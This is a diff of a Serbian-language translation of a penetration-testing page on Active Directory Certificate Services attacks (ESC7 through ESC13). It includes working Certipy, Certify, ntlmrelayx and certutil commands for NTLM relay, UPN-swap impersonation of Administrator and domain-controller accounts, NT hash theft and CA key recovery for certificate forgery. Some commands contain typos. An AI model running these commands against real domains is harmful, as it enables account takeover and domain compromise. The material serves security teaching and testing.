 certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@@ -300,9 +300,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully enabled 'SubCA' on 'corp-DC-CA'
 ```
-Ako smo ispunili preduslove za ovaj napad, možemo početi sa **zahtevanjem sertifikata zasnovanog na predlošku `SubCA`**.
+Ako smo ispunili preduslove za ovaj napad, možemo početi sa **zahtevanjem sertifikata zasnovanog na `SubCA` šablonu**.
 
-**Ovaj zahtev će biti odbijen**, ali ćemo sačuvati private key i zabeležiti request ID.
+**Ovaj zahtev će biti odbij**en, ali sačuvaćemo privatni ključ i zabeležiti ID zahteva.
 ```bash
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -314,14 +314,14 @@ Would you like to save the private key? (y/N) y
 [*] Saved private key to 785.key
 [-] Failed to request certificate
 ```
-Sa našim **`Manage CA` i `Manage Certificates`**, možemo zatim izdati neuspešan zahtev za sertifikat pomoću komande `ca` i parametra `-issue-request <request ID>`.
+Sa našim **`Manage CA` and `Manage Certificates`**, možemo potom **izdati prethodno neuspeo zahtev za sertifikat** pomoću komande `ca` i parametra `-issue-request <request ID>`.
 ```bash
 certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully issued certificate
 ```
-Na kraju, možemo da **preuzmemo izdat sertifikat** pomoću `req` komande i parametra `-retrieve <request ID>`.
+I na kraju, možemo **preuzeti izdat sertifikat** pomoću `req` komande i parametra `-retrieve <request ID>`.
 ```bash
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -333,83 +333,83 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 [*] Loaded private key from '785.key'
 [*] Saved certificate and private key to 'administrator.pfx'
 ```
-### Napad 3 – Manage Certificates Extension Abuse (SetExtension)
+### Napad 3 – Abuziranje ekstenzije Manage Certificates (SetExtension)
 
 #### Objašnjenje
 
-Pored klasičnih ESC7 zloupotreba (omogućavanje EDITF atributa ili odobravanje pending zahteva), **Certify 2.0** je otkrio potpuno novu primitivu koja zahteva samo ulogu *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) na Enterprise CA.
+Pored klasičnih ESC7 zloupotreba (omogućavanje EDITF atributa ili odobravanje pending zahteva), **Certify 2.0** je otkrio potpuno novu primitivu koja zahteva samo ulogu *Manage Certificates* (poznatu i kao **Certificate Manager / Officer**) na Enterprise CA.
 
-Metod RPC `ICertAdmin::SetExtension` može da izvrši bilo koji principal koji poseduje *Manage Certificates*. Dok se metod tradicionalno koristio od strane legitimnih CA da ažurira ekstenzije na **pending** zahtevima, napadač ga može zloupotrebiti da **doda *non-default* certificate extension** (na primer custom *Certificate Issuance Policy* OID kao `1.1.1.1`) na zahtev koji čeka odobrenje.
+Metod RPC `ICertAdmin::SetExtension` može da izvrši bilo koji principal koji ima *Manage Certificates*. Dok je metod tradicionalno korišćen od strane legitimnih CA za ažuriranje ekstenzija na **pending** zahtevima, napadač ga može zloupotrebiti da **doda *nepodrazumevanu* ekstenziju sertifikata** (na primer prilagođeni *Certificate Issuance Policy* OID kao `1.1.1.1`) na zahtev koji čeka odobrenje.
 
-Pošto ciljani template **ne definiše podrazumevanu vrednost za tu ekstenziju**, CA NEĆE prepisati vrednost koju kontroliše napadač kada zahtev bude konačno izdat. Rezultujući sertifikat stoga sadrži napadačem izabranu ekstenziju koja može:
+Pošto ciljani template **ne definiše podrazumevanu vrednost za tu ekstenziju**, CA NEĆE prepisati vrednost koju kontroliše napadač kada se zahtev konačno izdaje. Rezultujući sertifikat zato sadrži napadačem izabranu ekstenziju koja može:
 
-* Zadovoljiti Application / Issuance Policy zahteve drugih ranjivih template-a (vodeći do eskalacije privilegija).
-* Ubaciti dodatne EKU ili politike koje dodeljuju sertifikatu neočekivano poverenje u third-party sistemima.
+* Zadovoljiti zahteve Application / Issuance Policy drugih ranjivih template-a (što vodi do eskalacije privilegija).
+* Ubaciti dodatne EKU-e ili politike koje daju sertifikatu neočekivano poverenje u sistemima trećih strana.
 
-Ukratko, *Manage Certificates* — ranije smatrana „manje moćnom“ polovicom ESC7 — sada se može iskoristiti za punu eskalaciju privilegija ili dugoročnu persistenciju, bez diranja CA konfiguracije ili potrebe za restriktivnijim pravom *Manage CA*.
+Ukratko, *Manage Certificates* – ranije smatrano „manje moćnom“ polovinom ESC7 – sada se može iskoristiti za potpunu eskalaciju privilegija ili dugotrajnu persistenciju, bez menjanja konfiguracije CA ili potrebe za strožim pravom *Manage CA*.
 
 #### Abuziranje primitive sa Certify 2.0
 
-1. **Podnesite certificate request koji će ostati *pending*.** Ovo se može forsirati template-om koji zahteva manager approval:
+1. **Podnesite zahtev za sertifikat koji će ostati *pending*.** Ovo se može prisiliti template-om koji zahteva odobrenje menadžera:
 ```powershell
 Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
 # Take note of the returned Request ID
 ```
 
-2. **Dodajte custom ekstenziju na pending zahtev** koristeći novi `manage-ca` komand:
+2. **Dodajte prilagođenu ekstenziju na pending zahtev** koristeći novu `manage-ca` komandu:
 ```powershell
 Certify.exe manage-ca --ca SERVER\\CA-NAME \
 --request-id 1337 \
 --set-extension "1.1.1.1=DER,10,01 01 00 00"  # fake issuance-policy OID
 ```
-*Ako template već ne definiše *Certificate Issuance Policies* ekstenziju, vrednost iznad će biti sačuvana nakon izdavanja.*
+*Ako template već ne definiše ekstenziju *Certificate Issuance Policies*, vrednost iznad će biti sačuvana nakon izdavanja.*
 
-3. **Izdajte zahtev** (ako vaša uloga takođe ima odobrenja za *Manage Certificates*) ili sačekajte da operator odobri. Kada bude izdat, preuzmite sertifikat:
+3. **Izdajte zahtev** (ako vaša uloga takođe ima odobravanje *Manage Certificates*) ili sačekajte da ga operator odobri. Kada se izda, skinite sertifikat:
 ```powershell
 Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
 ```
 
-4. Rezultujući sertifikat sada sadrži maliciozni issuance-policy OID i može se koristiti u narednim napadima (npr. ESC13, domain escalation, itd.).
+4. Rezultujući sertifikat sada sadrži zlonamerni issuance-policy OID i može se koristiti u narednim napadima (npr. ESC13, domain escalation, itd.).
 
-> NOTE:  Isti napad se može izvesti sa Certipy ≥ 4.7 preko `ca` komande i `-set-extension` parametra.
+> NOTE: Isti napad se može izvesti i sa Certipy ≥ 4.7 preko `ca` komande i `-set-extension` parametra.
 
-## NTLM Relay to AD CS HTTP Endpoints – ESC8
+## NTLM Relay na AD CS HTTP endpoint-e – ESC8
 
 ### Objašnjenje
 
 > [!TIP]
-> U okruženjima gde je **AD CS instaliran**, ako postoji **vulnerable web enrollment endpoint** i bar jedan **certificate template je published** koji dozvoljava **domain computer enrollment i client authentication** (kao default **`Machine`** template), postaje moguće da **bilo koji računar sa aktivnim spooler servisom bude kompromitovan od strane napadača**!
+> U okruženjima gde je **AD CS instaliran**, ako postoji ranjiv **web enrollment endpoint** i bar jedan **certificate template je objavljen** koji dozvoljava **domain computer enrollment i client authentication** (kao podrazumevani **`Machine`** template), postaje moguće da **bilo koji računar sa aktivnim spooler servisom bude kompromitovan od strane napadača**!
 
-AD CS podržava nekoliko **HTTP-based enrollment metoda**, dostupnih kroz dodatne server role koje administratori mogu instalirati. Ovi interfejsi za HTTP-based certificate enrollment su podložni **NTLM relay** napadima. Napadač, sa **kompromitovane mašine, može imitirati bilo koji AD nalog koji se autentifikuje putem inbound NTLM**. Dok se lažno predstavlja kao žrtva, ove web interfejse napadač može koristiti da **zahteva client authentication certificate koristeći `User` ili `Machine` certificate template-e**.
+AD CS podržava više **HTTP-based enrollment** metoda, dostupnih kroz dodatne serverske role koje administratori mogu instalirati. Ovi HTTP interfejsi za enrolment su podložni **NTLM relay attacks**. Napadač, sa kompromitovane mašine, može se lažno predstaviti kao bilo koji AD nalog koji se autentifikuje putem dolaznog NTLM-a. Dok se predstavlja kao žrtva, napadač može pristupiti ovim web interfejsima da **zatraži client authentication sertifikat koristeći `User` ili `Machine` certificate template-e**.
 
-- **web enrollment interface** (starija ASP aplikacija dostupna na `http://<caserver>/certsrv/`), podrazumevano radi samo preko HTTP, što ne pruža zaštitu protiv NTLM relay napada. Dodatno, eksplicitno dozvoljava samo NTLM autentikaciju kroz Authorization HTTP header, čineći sigurnije metode autentikacije kao Kerberos neprimenjivim.
-- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, i **Network Device Enrollment Service** (NDES) podrazumevano podržavaju negotiate autentikaciju preko svog Authorization HTTP header-a. Negotiate autentikacija **podržava i** Kerberos i **NTLM**, što napadaču omogućava da tokom relay napada **downgrade-uje na NTLM**. Iako ovi web servisi po default-u omogućavaju HTTPS, sam HTTPS **ne štiti od NTLM relay napada**. Zaštita od NTLM relay napada za HTTPS servise je moguća samo kada je HTTPS kombinovan sa channel binding. Nažalost, AD CS ne aktivira Extended Protection for Authentication na IIS-u, što je potrebno za channel binding.
+- **web enrollment interface** (starija ASP aplikacija dostupna na `http://<caserver>/certsrv/`) po defaultu koristi samo HTTP, što ne pruža zaštitu protiv NTLM relay napada. Dodatno, eksplicitno dozvoljava samo NTLM autentikaciju kroz Authorization HTTP header, što onemogućava sigurnije metode autentikacije poput Kerberos-a.
+- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, i **Network Device Enrollment Service** (NDES) po defaultu podržavaju negotiate autentikaciju preko Authorization HTTP header-a. Negotiate autentikacija **podržava i** Kerberos i **NTLM**, omogućavajući napadaču da se tokom relay napada **svede na NTLM**. Iako ovi web servisi podrazumevano omogućavaju HTTPS, sam HTTPS **ne štiti od NTLM relay napada**. Zaštita od NTLM relay napada za HTTPS servise je moguća samo kada je HTTPS kombinovan sa channel binding. Nažalost, AD CS ne aktivira Extended Protection for Authentication na IIS-u, što je potrebno za channel binding.
 
-Uobičajen **problem** kod NTLM relay napada je **kratko trajanje NTLM sesija** i nemogućnost napadača da interaguje sa servisima koji **zahtevaju NTLM signing**.
+Čest problem kod NTLM relay napada je **kratko trajanje NTLM sesija** i nemogućnost napadača da interaguje sa servisima koji zahtevaju NTLM signing.
 
-Ipak, ovo ograničenje je prevaziđeno iskorišćavanjem NTLM relay napada da se pribavi sertifikat za korisnika, pošto period važenja sertifikata određuje trajanje sesije, i sertifikat se može koristiti sa servisima koji **zahtevaju NTLM signing**. Za instrukcije o korišćenju ukradenog sertifikata, pogledajte:
+Ipak, ovo ograničenje može se prevazići iskorišćavanjem NTLM relay napada da se pribavi sertifikat za korisnika, jer period važenja tog sertifikata određuje trajanje sesije, i sertifikat se može koristiti sa servisima koji **zahtevaju NTLM signing**. Za uputstva o korišćenju ukradenog sertifikata, pogledajte:
 
 
 {{#ref}}
 account-persistence.md
 {{#endref}}
 
-Joše jedno ograničenje NTLM relay napada je da **mašina pod kontrolom napadača mora biti autentifikovana od strane žrtvinog naloga**. Napadač može ili da sačeka ili pokuša da to autentifikovanje **forsira**:
+Još jedno ograničenje NTLM relay napada je to što **mašina kojom napadač kontroliše mora biti autentifikovana od strane žrtvinog naloga**. Napadač može ili sačekati ili pokušati da **forsira** tu autentikaciju:
 
 
 {{#ref}}
 ../printers-spooler-service-abuse.md
 {{#endref}}
 
-### **Abuziranje**
+### **Zloupotreba**
 
-[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**:
+[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumeriše **omogućene HTTP AD CS endpoint-e**:
 ```
 Certify.exe cas
 ```
 <figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
 
-Svojstvo `msPKI-Enrollment-Servers` koristi se od strane enterprise Certificate Authorities (CAs) za čuvanje Certificate Enrollment Service (CES) krajnjih tačaka. Ove krajnje tačke mogu se parsirati i nabrojati korišćenjem alata **Certutil.exe**:
+Svojstvo `msPKI-Enrollment-Servers` koristi se kod enterprise sertifikacionih autoriteta (CAs) za čuvanje Certificate Enrollment Service (CES) endpointa. Ovi endpointi se mogu parsirati i navesti korišćenjem alata **Certutil.exe**:
 ```
 certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
 ```
@@ -437,9 +437,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
 ```
 #### Zloupotreba sa [Certipy](https://github.com/ly4k/Certipy)
 
-Zahtjev za sertifikat Certipy podrazumevano pravi na osnovu template-a `Machine` ili `User`, što se određuje time da li ime naloga koje se prosleđuje završava sa `$`. Navođenje alternativnog template-a može se postići korišćenjem parametra `-template`.
+Zahtev za sertifikat se podrazumevano pravi pomoću Certipy na osnovu templata `Machine` ili `User`, što se određuje time da li ime naloga koji se prosleđuje završava sa `$`. Navođenje alternativnog templata može se postići korišćenjem parametra `-template`.
 
-Tehnika kao [PetitPotam](https://github.com/ly4k/PetitPotam) može se potom upotrebiti da prisili autentifikaciju. Kod domain controllera potrebno je navesti `-template DomainController`.
+Tehnika kao što je [PetitPotam](https://github.com/ly4k/PetitPotam) može se potom upotrebiti za prisiljavanje autentikacije. Kod rada sa domain controller-ima potrebno je navesti `-template DomainController`.
 ```bash
 certipy relay -ca ca.corp.local
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -452,55 +452,55 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 [*] Saved certificate and private key to 'administrator.pfx'
 [*] Exiting...
 ```
-## Bez bezbednosnog proširenja - ESC9 <a href="#id-5485" id="id-5485"></a>
+## Bez sigurnosnog proširenja - ESC9 <a href="#id-5485" id="id-5485"></a>
 
 ### Objašnjenje
 
-Novi atribut **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) za **`msPKI-Enrollment-Flag`**, nazvan ESC9, sprečava ugradnju **nove `szOID_NTDS_CA_SECURITY_EXT` bezbednosne ekstenzije** u sertifikat. Ovaj flag postaje relevantan kada je `StrongCertificateBindingEnforcement` postavljen na `1` (podrazumevana vrednost), za razliku od podešavanja `2`. Njegova važnost se povećava u scenarijima gde bi slabije mapiranje sertifikata za Kerberos ili Schannel moglo biti iskorišćeno (kao u ESC10), s obzirom da odsustvo ESC9 ne bi promenilo zahteve.
+Nova vrednost **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) za **`msPKI-Enrollment-Flag`**, nazvana ESC9, sprečava ugrađivanje **novog `szOID_NTDS_CA_SECURITY_EXT` sigurnosnog proširenja** u sertifikat. Ovaj flag postaje relevantan kada je `StrongCertificateBindingEnforcement` postavljen na `1` (podrazumevana vrednost), za razliku od podešavanja `2`. Njegova važnost raste u scenarijima gde slabije mapiranje sertifikata za Kerberos ili Schannel može biti iskorišćeno (kao kod ESC10), s obzirom da odsustvo ESC9 ne bi promenilo zahteve.
 
-Uslovi pod kojima podešavanje ovog flaga postaje značajno uključuju:
+Uslovi pod kojima postavka ovog flaga postaje značajna uključuju:
 
-- `StrongCertificateBindingEnforcement` nije podešen na `2` (podrazumevano `1`), ili `CertificateMappingMethods` uključuje `UPN` flag.
-- Sertifikat je označen `CT_FLAG_NO_SECURITY_EXTENSION` flagom u okviru podešavanja `msPKI-Enrollment-Flag`.
-- Bilo koji client authentication EKU je naveden u sertifikatu.
-- `GenericWrite` dozvole su dostupne nad bilo kojim nalogom za kompromitovanje drugog.
+- `StrongCertificateBindingEnforcement` nije podešen na `2` (podrazumevano `1`), ili `CertificateMappingMethods` uključuje flag `UPN`.
+- Sertifikat je označen sa `CT_FLAG_NO_SECURITY_EXTENSION` flagom u `msPKI-Enrollment-Flag` podešavanju.
+- Sertifikat navodi bilo koji client authentication EKU.
+- `GenericWrite` dozvole su dostupne nad bilo kojim nalogom da bi se kompromitovao drugi.
 
 ### Scenarij zloupotrebe
 
-Pretpostavimo da `John@corp.local` ima `GenericWrite` dozvole nad `Jane@corp.local`, s ciljem da kompromituje `Administrator@corp.local`. `ESC9` šablon sertifikata, za koji je `Jane@corp.local` ovlašćena da se prijavi, konfigurisan je sa `CT_FLAG_NO_SECURITY_EXTENSION` flagom u okviru `msPKI-Enrollment-Flag` podešavanja.
+Pretpostavimo da `John@corp.local` ima `GenericWrite` dozvole nad `Jane@corp.local`, sa ciljem kompromitovanja `Administrator@corp.local`. `ESC9` šablon sertifikata, za koji `Jane@corp.local` sme da se registruje, je konfigurisan sa `CT_FLAG_NO_SECURITY_EXTENSION` flagom u svom `msPKI-Enrollment-Flag` podešavanju.
 
-U početku, hash od `Jane` se dobija koristeći Shadow Credentials, zahvaljujući `John`-ovim `GenericWrite` dozvolama:
+U početku se hash `Jane` dobija koristeći Shadow Credentials, zahvaljujući `John`-ovom `GenericWrite`:
 ```bash
 certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
 ```
-Naknadno, `Jane`-in `userPrincipalName` je izmenjen u `Administrator`, namerno izostavljajući deo domene `@corp.local`:
+Nakon toga, `userPrincipalName` korisnice `Jane` je izmenjen u `Administrator`, namerno izostavljajući deo domene `@corp.local`:
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
-Ova izmena ne krši ograničenja, s obzirom da `Administrator@corp.local` ostaje različit kao `Administrator`ov `userPrincipalName`.
+Ova izmena ne krši ograničenja, s obzirom da `Administrator@corp.local` ostaje različit kao `Administrator`-ov `userPrincipalName`.
 
 Nakon toga, `ESC9` šablon sertifikata, označen kao ranjiv, je zatražen kao `Jane`:
 ```bash
 certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
 ```
-Primećeno je da sertifikatov `userPrincipalName` prikazuje `Administrator`, bez bilo kakvog “object SID”.
+Primećeno je da `userPrincipalName` sertifikata prikazuje `Administrator`, bez ikakvog “object SID”.
 
-`Jane`-in `userPrincipalName` se zatim vraća na njen original, `Jane@corp.local`:
+`userPrincipalName` korisnice `Jane` je potom vraćen na njen originalni, `Jane@corp.local`:
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-Pokušaj autentifikacije izdatim sertifikatom sada vraća NT hash korisnika `Administrator@corp.local`. Komanda mora uključivati `-domain <domain>` zbog toga što sertifikat nema specificiran domen:
+Pokušaj autentifikacije izdatim sertifikatom sada vraća NT hash za `Administrator@corp.local`. Komanda mora da sadrži `-domain <domain>` zbog toga što sertifikat nema navedenu domenu:
 ```bash
 certipy auth -pfx adminitrator.pfx -domain corp.local
 ```
-## Slabo mapiranje sertifikata - ESC10
+## Slaba mapiranja sertifikata - ESC10
 
 ### Objašnjenje
 
-ESC10 se odnosi na dve vrednosti Windows Registry ključa na kontroleru domena:
+ESC10 se odnosi na dve vrednosti registarskog ključa na domain controller-u:
 
-- Podrazumevana vrednost za `CertificateMappingMethods` pod `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` je `0x18` (`0x8 | 0x10`), ranije postavljena na `0x1F`.
-- Podrazumevano podešavanje za `StrongCertificateBindingEnforcement` pod `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` je `1`, ranije `0`.
+- Podrazumevana vrednost za `CertificateMappingMethods` pod `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` je `0x18` (`0x8 | 0x10`), prethodno podešena na `0x1F`.
+- Podrazumevano podešavanje za `StrongCertificateBindingEnforcement` pod `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` je `1`, prethodno `0`.
 
 ### Slučaj 1
 
@@ -510,69 +510,69 @@ Kada je `StrongCertificateBindingEnforcement` konfigurisano kao `0`.
 
 Ako `CertificateMappingMethods` uključuje `UPN` bit (`0x4`).
 
-### Zloupotreba - Slučaj 1
+### Zloupotreba - slučaj 1
 
-Ako je `StrongCertificateBindingEnforcement` podešen na `0`, nalog A sa `GenericWrite` dozvolama može se iskoristiti da kompromituje bilo koji nalog B.
+Ako je `StrongCertificateBindingEnforcement` podešeno na `0`, nalog A sa `GenericWrite` privilegijama može biti iskorišćen da kompromituje bilo koji nalog B.
 
-Na primer, ako napadač ima `GenericWrite` dozvole nad `Jane@corp.local`, cilj mu je da kompromituje `Administrator@corp.local`. Postupak je isti kao kod ESC9, što omogućava korišćenje bilo kojeg šablona sertifikata.
+Na primer, ako ima `GenericWrite` privilegije nad `Jane@corp.local`, napadač cilja kompromitovanje `Administrator@corp.local`. Procedura je ista kao kod ESC9, što omogućava upotrebu bilo kojeg certificate template.
 
-U početku se hash `Jane` dobija korišćenjem Shadow Credentials, iskorišćavajući `GenericWrite`.
+Na početku se hash od `Jane` dobija korišćenjem Shadow Credentials, iskorišćavanjem `GenericWrite`.
 ```bash
 certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
 ```
-Nakon toga, `Jane`-in `userPrincipalName` je izmenjen u `Administrator`, namerno izostavljajući deo `@corp.local` da bi se izbeglo kršenje ograničenja.
+Nakon toga, `userPrincipalName` korisnice `Jane` je izmenjen u `Administrator`, namerno izostavljajući deo `@corp.local` kako bi se izbeglo kršenje ograničenja.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
-Nakon toga, zatražen je sertifikat koji omogućava autentifikaciju klijenta kao `Jane`, koristeći podrazumevani `User` šablon.
+Nakon toga, kao `Jane` je zatražen sertifikat koji omogućava autentifikaciju klijenta, koristeći podrazumevani `User` šablon.
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
-`userPrincipalName` korisnika `Jane` se zatim vraća na originalnu vrednost, `Jane@corp.local`.
+`userPrincipalName` korisnice `Jane` se zatim vraća na izvornu vrednost, `Jane@corp.local`.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-Autentifikacijom dobijenog sertifikata dobićete NT hash korisnika `Administrator@corp.local`, pa je potrebno navesti domen u naredbi zbog nedostatka podataka o domenu u sertifikatu.
+Autentifikacija sa dobijenim sertifikatom će izbaciti NT hash korisnika `Administrator@corp.local`, što zahteva navođenje domena u komandi zbog odsustva podataka o domenu u sertifikatu.
 ```bash
 certipy auth -pfx administrator.pfx -domain corp.local
 ```
 ### Slučaj zloupotrebe 2
 
-Kada `CertificateMappingMethods` sadrži `UPN` bit flag (`0x4`), nalog A sa `GenericWrite` dozvolama može kompromitovati bilo koji nalog B koji nema `userPrincipalName` property, uključujući machine accounts i ugrađenog domain administratora `Administrator`.
+Ako `CertificateMappingMethods` sadrži `UPN` bit zastavicu (`0x4`), nalog A sa `GenericWrite` pravima može kompromitovati bilo koji nalog B koji nema `userPrincipalName` atribut, uključujući mašinske naloge i ugrađeni administratorski nalog domena `Administrator`.
 
-Ovde je cilj kompromitovati `DC$@corp.local`, počevši od dobijanja `Jane`'s hash pomoću Shadow Credentials, iskorišćavanjem `GenericWrite`.
+Cilj ovde je kompromitovati `DC$@corp.local`, počevši od pribavljanja hash-a `Jane` putem Shadow Credentials, koristeći `GenericWrite`.
 ```bash
 certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
 ```
-Vrednost `userPrincipalName` za `Jane` je zatim postavljena na `DC$@corp.local`.
+Vrednost `userPrincipalName` korisnika `Jane` je zatim postavljena na `DC$@corp.local`.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
 ```
-Sertifikat za autentifikaciju klijenta je zatražen kao `Jane` koristeći podrazumevani šablon `User`.
+Za klijentsku autentifikaciju zatražen je sertifikat kao `Jane` koristeći podrazumevani šablon `User`.
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
-`userPrincipalName` korisnice `Jane` se nakon ovog procesa vraća na izvorni.
+`userPrincipalName` korisnice `Jane` se vraća na izvornu vrednost nakon ovog procesa.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
 ```
-Za autentifikaciju preko Schannel korišćena je Certipy opcija `-ldap-shell`, što označava uspešnu autentifikaciju kao `u:CORP\DC$`.
+Za autentifikaciju putem Schannel koristi se Certipy-ova opcija `-ldap-shell`, što označava uspeh autentifikacije kao `u:CORP\DC$`.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-Kroz LDAP shell, komande poput `set_rbcd` omogućavaju Resource-Based Constrained Delegation (RBCD) napade, potencijalno kompromitujući domain controller.
+Kroz LDAP shell, komande poput `set_rbcd` omogućavaju Resource-Based Constrained Delegation (RBCD) napade, potencijalno ugrožavajući domain controller.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-Ova ranjivost se takođe odnosi na bilo koji korisnički nalog koji nema `userPrincipalName` ili na kome se on ne poklapa sa `sAMAccountName`; podrazumevani `Administrator@corp.local` je primarni cilj zbog svojih povišenih LDAP privilegija i zato što podrazumevano nema `userPrincipalName`.
+Ova ranjivost se takođe odnosi na bilo koji korisnički nalog kojem nedostaje `userPrincipalName` ili kada on ne odgovara `sAMAccountName`-u; podrazumevani nalog `Administrator@corp.local` je posebno poželjan cilj zbog povišenih LDAP privilegija i zato što po podrazumevanju nema `userPrincipalName`.
 
 ## Relaying NTLM to ICPR - ESC11
 
 ### Objašnjenje
 
-If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
+Ako CA Server nije konfigurisan sa `IF_ENFORCEENCRYPTICERTREQUEST`, to može omogućiti NTLM relay napade bez potpisivanja preko RPC servisa. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
 
-Možete koristiti `certipy` da proverite da li je `Enforce Encryption for Requests` onemogućen, a certipy će prikazati `ESC11` ranjivosti.
+Možete koristiti `certipy` da enumerisate da li je `Enforce Encryption for Requests` Disabled i certipy će prikazati `ESC11` ranjivosti.
 ```bash
 $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -618,21 +618,21 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
 ```
 ## Shell access to ADCS CA with YubiHSM - ESC12
 
-### Objašnjenje
+### Explanation
 
-Administratori mogu da podese Certificate Authority tako da ga skladišti na eksternom uređaju kao što je "Yubico YubiHSM2".
+Administratori mogu podesiti Certificate Authority da ga skladišti na eksternom uređaju kao što je "Yubico YubiHSM2".
 
-Ako je USB uređaj povezan sa CA serverom preko USB porta, ili kroz USB device server u slučaju da je CA server virtuelna mašina, authentication key (sometimes referred to as a "password") je potreban Key Storage Provider-u da bi generisao i koristio ključeve u YubiHSM.
+Ako je USB uređaj povezan na CA server preko USB porta, ili putem USB device servera u slučaju da je CA server virtuelna mašina, za Key Storage Provider je potreban autentifikacioni ključ (ponekad nazivan "password") da bi generisao i koristio ključeve u YubiHSM.
 
-Ovaj ključ/password je sačuvan u registru pod `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` u čistom tekstu.
+Ovaj ključ/lozinka se čuva u registru pod `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` nešifrovano.
 
 Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
 
-### Scenarij zloupotrebe
+### Abuse Scenario
 
-Ako je privatni ključ CA-a uskladišten na fizičkom USB uređaju, kada dobijete shell access, moguće je povratiti ključ.
+Ako je privatni ključ CA-a pohranjen na fizičkom USB uređaju, kada dobijete shell access, moguće je povratiti ključ.
 
-U prvom koraku, potrebno je dobiti CA certificate (ovo je javno) i zatim:
+U prvom koraku, potrebno je pribaviti CA sertifikat (on je javan) i zatim:
 ```cmd
 # import it to the user store with CA certificate
 $ certutil -addstore -user my <CA certificate file>
@@ -640,17 +640,17 @@ $ certutil -addstore -user my <CA certificate file>
 # Associated with the private key in the YubiHSM2 device
 $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
 ```
-Na kraju, koristite certutil `-sign` komandu da falsifikujete novi proizvoljni sertifikat koristeći CA sertifikat i njegov privatni ključ.
+Na kraju, koristite certutil `-sign` команду да фалсификујете нови произвољни сертификат користећи CA сертификат и његов приватни кључ.
 
 ## OID Group Link Abuse - ESC13
 
 ### Objašnjenje
 
-Atribut `msPKI-Certificate-Policy` omogućava dodavanje politike izdavanja u šablon sertifikata. Objekti `msPKI-Enterprise-Oid` koji su odgovorni za izdavanje politika mogu se otkriti u Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) PKI OID containera. Politika može biti povezana sa AD grupom korišćenjem `msDS-OIDToGroupLink` atributa ovog objekta, što omogućava sistemu da autorizuje korisnika koji priloži sertifikat kao da je član te grupe. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
